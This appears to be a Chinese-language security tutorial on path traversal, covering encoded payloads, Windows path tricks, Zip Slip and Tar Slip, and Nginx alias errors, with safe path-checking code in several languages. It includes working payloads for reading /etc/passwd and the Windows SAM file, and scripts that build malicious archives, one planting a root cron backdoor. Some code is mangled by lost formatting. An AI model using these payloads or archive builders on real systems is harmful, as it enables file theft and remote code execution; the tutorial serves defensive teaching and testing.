一、什么是目录遍历

目录遍历(Path Traversal,也叫 Directory Traversal)就是攻击者通过 ../ 让文件路径"往上一级",最终指向目标目录之外的文件。

1.1 漏洞代码

``python

Flask - 读取用户指定的文件

from flask import Flask, request, send_file
import os

app = Flask(name)

@app.route('/download')
def download():
filename = request.args.get('file')
path = f"/var/www/uploads/{filename}"
return send_file(path)
# filename = "../../../etc/passwd" 时
# path = /var/www/uploads/../../../etc/passwd
# → /etc/passwd ✓

if name == 'main':
app.run(host='0.0.0.0', port=5000)
``

1.2 为什么是危险的

``

目标上传目录:/var/www/uploads/

攻击者想读 /etc/passwd

层级关系

/var/www/uploads/

/var/www/ <- ../

/var/ <- ../../

/ <- ../../../

etc/passwd <- ../../../etc/passwd

``

二、基础 payload

2.1 最基础的

../etc/passwd ../../etc/passwd ../../../etc/passwd ../../../../etc/passwd

2.2 绕过后缀追加

很多代码会自动追加后缀 .html.php

``

自动追加 .html

?file=../../etc/passwd/../../../../../etc/passwd

最终路径:/var/www/../../../etc/passwd/../../../../../etc/passwd.html

解析后指向 /etc/passwd.html... 不对

用 %00 截断(PHP < 5.3.4)

?file=../../etc/passwd%00

用问号截断(某些 Web 服务器)

?file=../../etc/passwd?

用 # 截断(某些 Web 服务器)

?file=../../etc/passwd#
``

三、编码绕过

3.1 URL 编码

``

../ -> %2e%2e%2f

%2e%2e%2f%2e%2e%2fetc/passwd

双重 URL 编码(WAF 只解一次)

%252e%252e%252fetc/passwd

Unicode 编码

..%255c..%255cetc/passwd
``

3.2 各层编码处理顺序

WAF → Web 服务器 → 应用框架 → 代码

如果 WAF 只做一次 URL 解码%252e(二次编码的点号)会被当作普通字符放过;
到 PHP/ASP.NET 应用层才会解第二次,变成 ..

3.3 Python urllib 编码示例

# url_encodings.py
import urllib.parse

payloads = [
    "../../etc/passwd",
    "..%2f..%2fetc/passwd",
    "..%252f..%252fetc/passwd",
    "..%c0%af..%c0%afetc/passwd",   # 超长 UTF-8(绕过部分 WAF)
    "%2e%2e%2f%2e%2e%2fetc%2fpasswd",
]

for p in payloads:
    # Python 的 pathlib 解析(不会做 URL 解码)
    import os
    full = f"/var/www/uploads/{p}"
    resolved = os.path.realpath(full)
    print(f"  输入: {p:40s} -> 解析后: {resolved}")

四、Linux 特殊技巧

4.1 绝对路径

``
file=/etc/passwd

某些代码直接拼接:base + filename

如果 filename 以 / 开头,拼接后 base 被忽略

path = "/var/www/uploads/" + "/etc/passwd" = "/var/www/uploads//etc/passwd"

某些实现会自动解析 // 为 / → /var/www/uploads/etc/passwd

但如果是 os.path.join:

os.path.join("/var/www/uploads", "/etc/passwd") = "/etc/passwd"

``

``python

import os
os.path.join("/var/www/uploads", "/etc/passwd")
'/etc/passwd' # 第二个参数是绝对路径,直接覆盖!

os.path.join("/var/www/uploads", "../../etc/passwd")
'/var/www/etc/passwd'

import pathlib
(pathlib.Path("/var/www/uploads") / "../../etc/passwd").resolve()
PosixPath('/etc/passwd')
``

4.2 ~ 扩展

``

bash 会把 ~ 展开成 home 目录

但大多数文件 API 不做这个展开

file=~/.ssh/id_rsa

某些场景(如 .htaccess 的 RewriteRule)会展开

``

五、Windows 特有技巧

5.1 反斜杠 \

``
file=......\windows\win.ini

很多应用会把 \ 替换成 /,或者原样解析

``

5.2 Windows 8.3 短文件名

Windows NTFS 文件系统每个文件自动生成一个 8.3 短文件名(如 Program Files 变成 Progra~1)。某些代码做白名单时没考虑短名称。

C:Progra~1 # C:Program Files C:Progra~2 # C:Program Files (x86) C:DOCUME~1 # C:Documents and Settings C:UsersADMINI~1 # C:UsersAdministrator

5.3 Windows 命名漏洞

``

保留名不能作为文件名,但可以作为路径的一部分

file=CON # 尝试访问 CON 设备
file=........\windows\win.ini::$INDEX_ALLOCATION

NTFS 备用数据流(ADS)

file=config.php::$DATA

某些代码只检查有没有 .php 后缀,不管 ::DATA

NUL 设备读取

file=\.\NUL # 某些应用会读取 NUL 设备
``

5.4 Windows 路径特殊字符

``

末尾加点号、空格在 Windows 上会被自动去掉

file=shell.php. # 实际变成 shell.php
file=shell.php %20 # 实际变成 shell.php

??\ 前缀 - Windows extended-length path

file=\??\C:\Windows\System32\config\sam

某些旧版防护只检查路径前 260 字符,用 ??\ 绕过

``

六、压缩包 Slip(Zip Slip / Tar Slip)

这是非常经典的目录遍历,发生在解压阶段。

6.1 原理

攻击者构造一个 zip 包,里面某个文件的路径是 ../../../tmp/evil.sh。解压时如果不做检查,这个文件就会被写到解压目录之外!

6.2 Python Zip Slip

``python

zip_slip_exploit.py - 构造恶意 zip

import zipfile, io

def create_malicious_zip(output_path, escape_traversal="../", target_path="/tmp/evil.sh", content="#!/bin/bash
id
"):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
# 构造恶意文件名
# 目标:解压到 /var/www/uploads/ 后,文件落到 /tmp/evil.sh
traversal = escape_traversal + escape_traversal + escape_traversal # 3 层
malicious_name = traversal.lstrip('/') + target_path.lstrip('/')
zf.writestr(malicious_name, content)
print(f"[+] zip 内文件名: {malicious_name}")
with open(output_path, 'wb') as f:
f.write(buf.getvalue())
print(f"[+] 已写入: {output_path}")

使用

create_malicious_zip('evil.zip', '../../../', '/tmp/pwned.txt', b'PWNED')
``

6.3 受害者代码

``python

受害者 - 漏洞的解压代码

import zipfile

def extract_vulnerable(zip_path, dest):
with zipfile.ZipFile(zip_path, 'r') as zf:
for name in zf.namelist():
# 直接解压,没检查路径!
zf.extract(name, dest)
# 如果 name = "../../tmp/evil.sh"
# extract 会写到 dest/../../tmp/evil.sh
# 解析后就是 /tmp/evil.sh

安全的解压代码

def extract_safe(zip_path, dest):
dest = os.path.realpath(dest)
with zipfile.ZipFile(zip_path, 'r') as zf:
for name in zf.namelist():
# 1. 规范化目标路径
target_path = os.path.realpath(os.path.join(dest, name))
# 2. 确保在 dest 之内
if not target_path.startswith(dest + os.sep) and target_path != dest:
raise ValueError(f"非法路径: {name}")
zf.extract(name, dest)
``

6.4 各语言 Zip Slip 检查代码

java // Java Zip Slip 检查 ZipFile zipFile = new ZipFile(filePath); Enumeration<? extends ZipEntry> entries = zipFile.entries(); while (entries.hasMoreElements()) { ZipEntry entry = entries.nextElement(); File destFile = new File(destDir, entry.getName()); String canonicalDestPath = destFile.getCanonicalPath(); String canonicalDestDirPath = destDir.getCanonicalPath() + File.separator; if (!canonicalDestPath.startsWith(canonicalDestDirPath)) { throw new IllegalArgumentException("非法路径: " + entry.getName()); } }

javascript // Node.js adm-zip 检查 const AdmZip = require('adm-zip'); const zip = new AdmZip('./evil.zip'); const entries = zip.getEntries(); entries.forEach(entry => { const fullPath = path.resolve(destDir, entry.entryName); if (!fullPath.startsWith(path.resolve(destDir) + path.sep)) { throw new Error('非法路径'); } });

6.5 Tar Slip(更隐蔽)

tar 包(.tar / .tar.gz / .tgz / .tar.bz2)的 slip 更狠——可以直接覆盖任意绝对路径的文件:

``python

tar_slip.py - 构造恶意 tar

import tarfile, io

def create_malicious_tar(output_path, target_file, content):
buf = io.BytesIO()
with tarfile.open(fileobj=buf, mode='w') as tf:
# TarInfo 直接设置 name 为绝对路径
info = tarfile.TarInfo(name=target_file)
info.size = len(content)
info.mode = 0o644
tf.addfile(info, io.BytesIO(content))
print(f"[+] tar 内文件: {target_file}")
with open(output_path, 'wb') as f:
f.write(buf.getvalue())

覆盖 /etc/cron.d/backdoor

create_malicious_tar('evil.tar', '/etc/cron.d/backdoor', b'* * * * * root id > /tmp/pwned 2>&1
')
``

6.6 真实案例

  • Apache Commons Compress 2018 年 CVE-2018-1000126 Zip Slip
  • Node.js adm-zip 多个版本 Zip Slip
  • Jenkins 插件解压时的路径穿越
  • Arbitrary File Overwrite in npm node-tar CVE-2018-16853
  • Spring Cloud Function 2022 CVE-2022-22963(Spring4Shell 的 variant)

七、Nginx alias 错误

这不是传统的路径穿越,但效果一样——把本应限制在某个目录下的请求映射到了任意文件。

7.1 错误配置

``nginx

错误配置(缺一个尾部斜杠或多一个斜杠)

location /static/ {
alias /var/www/data; # 少了 / !
}

或者

location /static {
alias /var/www/data/; # 多了 / !
}
``

7.2 攻击 payload

``

假设 location /static/ { alias /var/www/data; }

请求 /static../etc/passwd

Nginx 匹配 location /static/ 后

内部路径变成 /var/www/data../etc/passwd

解析后是 /var/www/etc/passwd...

实际要看 Nginx 的内部匹配算法,有多种情况

正确 payload 之一:

/static../etc/passwd

某些版本:

/static/../etc/passwd
``

7.3 修复

``nginx

location 和 alias 都要有尾部斜杠,或者都没有

location /static/ {
alias /var/www/data/; # 都有 /
}

或者用 root(更简单,不会出错)

location /static/ {
root /var/www/data; # root 不需要尾部 /
}
``

八、Java 反序列化触发路径穿越

Java 的 TemplatesImpl 链里有一个 TrAXFilter 类,可以加载外部配置文件;配合路径穿越能加载任意 class 文件。类似的,某些反序列化链会触发 FileOutputStream 写入攻击者指定路径。

java // 反序列化链里的 FileOutputStream 调用 // 攻击者控制的 obj 被反序列化时触发 __destruct // → new FileOutputStream("../../webapp/shell.jsp") // → 写 WebShell

九、安全的路径处理代码

9.1 Python

``python
import os

def safe_read_file(user_path, base_dir):
base_dir = os.path.realpath(base_dir)
full = os.path.realpath(os.path.join(base_dir, user_path))
if not full.startswith(base_dir + os.sep):
raise ValueError(f"非法路径: {user_path}")
if not os.path.isfile(full):
raise FileNotFoundError(full)
return open(full, 'rb').read()

使用

content = safe_read_file(
request.args.get('file'),
'/var/www/uploads'
)
``

9.2 PHP

``php
<?php
function safe_read($user_path, $base_dir) {
$base_dir = realpath($base_dir);
$target = realpath($base_dir . '/' . $user_path);

// 1. 路径必须存在
if ($target === false) {
    throw new Exception('文件不存在');
}
// 2. 必须在 base_dir 内
if (strpos($target, $base_dir) !== 0 || $target === $base_dir) {
    throw new Exception('非法路径');
}
// 3. 必须是正常文件(不是目录、不是符号链)
if (!is_file($target)) {
    throw new Exception('不是合法文件');
}
return file_get_contents($target);

}

try {
$content = safe_read($_GET['file'], '/var/www/uploads');
echo $content;
} catch (Exception $e) {
http_response_code(400);
echo $e->getMessage();
}
?>
``

9.3 Node.js

``javascript
const path = require('path');
const fs = require('fs');

function safeReadFile(userPath, baseDir) {
const base = path.resolve(baseDir);
const full = path.resolve(base, userPath);

if (!full.startsWith(base + path.sep)) {
    throw new Error(`非法路径: ${userPath}`);
}

return fs.readFileSync(full);

}
``

十、路径穿越 + 其他漏洞 = 爆炸

组合 效果
Zip Slip + 文件上传 解压时写任意文件
路径穿越 + LFI 读取 Web 根目录外文件
路径穿越 + 反序列化 触发 pop 链写 WebShell
Nginx alias + SSRF 间接读 Nginx 内部文件
路径穿越 + 定时任务 写 /etc/cron.d/ 直接 RCE
路径穿越 + PHP session 写 /tmp/sess_ 配合 LFI
路径穿越 + phar:// 写 phar 再触发反序列化
路径穿越 + .htaccess 改目录配置扩大攻击面

十一、小结

路径穿越是最基础也最容易被忽略的漏洞类型。关键防御点:

  1. 先 resolve 再检查 —— 用真实路径比较,不要用字符串匹配
  2. base 目录必须带尾部分隔符 —— 避免 os.path.join 被绝对路径绕
  3. 统一编码处理 —— 先解 URL / Unicode / 8.3 全部形式再校验
  4. 解压包必须做路径检查 —— Zip Slip / Tar Slip 高危
  5. 压缩包要白名单 —— 只允许明确的文件类型和解压位置

如果你的应用有文件上传/解压/下载功能,一定要先写路径校验测试用例,把本文所有 payload 都跑一遍。